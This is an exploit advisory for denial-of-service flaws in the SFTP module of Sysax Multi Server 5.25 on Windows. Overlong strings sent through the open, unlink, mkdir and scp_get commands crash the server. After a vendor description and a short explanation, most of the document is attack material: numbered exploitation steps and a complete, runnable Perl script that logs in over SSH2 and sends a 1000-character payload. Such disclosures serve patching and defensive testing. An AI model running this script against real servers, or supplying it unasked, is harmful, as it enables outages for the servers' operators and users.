[*]Title:  Sysax Multi Server(SFTP module) "open", "unlink", "mkdir", "scp_get" Commands DoS Vulnerabilities
[*]Product:  Sysax Multi Server
[*]Vendor:  Codeorigin, LLC
[*]Version:  5.25 (earlier versions may also be affected)
[*]Platform:  Windows
[*]Type of Vulnerability:  Buffer overflow -->DoS
[*]Risk rating:  Medium  
[*]Date of Discovery:  21-Jun-2010
[*]Discoverd by:  leinakesi (leinakesi[at]gmail[dot]com)



Overview:
1.vendor description of software
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A SSH2 and FTP server for Microsoft windows® that enables system administrators to support multiple protocol access to user accounts. FTPS, SFTP, and HTTPS based file transfers are supported in addition to FTP, Telnet, and Secure Shell access. Sysax Multi Server lets system administrators authenticate users using existing windows user accounts or by creating custom accounts, or a combination of both methods. A convenient web browser based administration interface makes it easy to monitor the status of the server remotely.It is easy to install and does not require advanced IT skills to manage.
2.vulnerability details:
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Several Denial of Service vulnerabilities exist in SFTP module of Sysax Multi Server. The unsafe commands include "open","unlink", "mkdir" and etc. .which can not handle overlength strings properly.

If you could log on the server successfully, take the following steps and the Sysax Multi server will crash which would lead to Denial of Service attack:
#initialize $FUZZ = "A" x 1000
1.  $ssh2 = Net::SSH2->new();
2.  $ssh2->connect($server, $port);
3.  $ssh2->auth_password($user, $pass);
#there are several ways to compromise the server, I list them here as 4.1, 4.2, and etc. ...
4.1  $scpget = $ssh2->scp_get($FUZZ);
4.2  $sftp = $ssh2->sftp(); $o1 = $sftp->open($FUZZ);
4.3  $sftp = $ssh2->sftp(); $u = $sftp->unlink(FUZZ);
4.4  $sftp = $ssh2->sftp(); $m = $sftp->mkdir($FUZZ);
5  $ssh2->disconnect();


Exploit example:

#!/usr/bin/perl
#leinakesi[at]gmail.com
#Sysax Multi Server "open", "unlink", "mkdir", "scp_get" Commands DoS Vulnerabilities

use Net::SSH2;
use Getopt::Std;

$FUZZ = "A" x 1000;

getopts('S:P:u:p:', \%opts);
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};

if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) )
{
  print "usage:\n\tperl  test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";
  print "\tperl  test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
  exit(0);
}

$ssh2 = Net::SSH2->new();
$ssh2->connect($server, $port) || die "can not connect the server, please check.\n";
$ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n";
#any of the following commands will cause the server carsh.

$scpget = $ssh2->scp_get($FUZZ) || die "server crashed.\n";
#  $sftp = $ssh2->sftp(); $o1 = $sftp->open($FUZZ);
#  $sftp = $ssh2->sftp(); $u = $sftp->unlink(FUZZ);
#  $sftp = $ssh2->sftp(); $m = $sftp->mkdir($FUZZ);


print "\nover\n";

$ssh2->disconnect();
exit(0);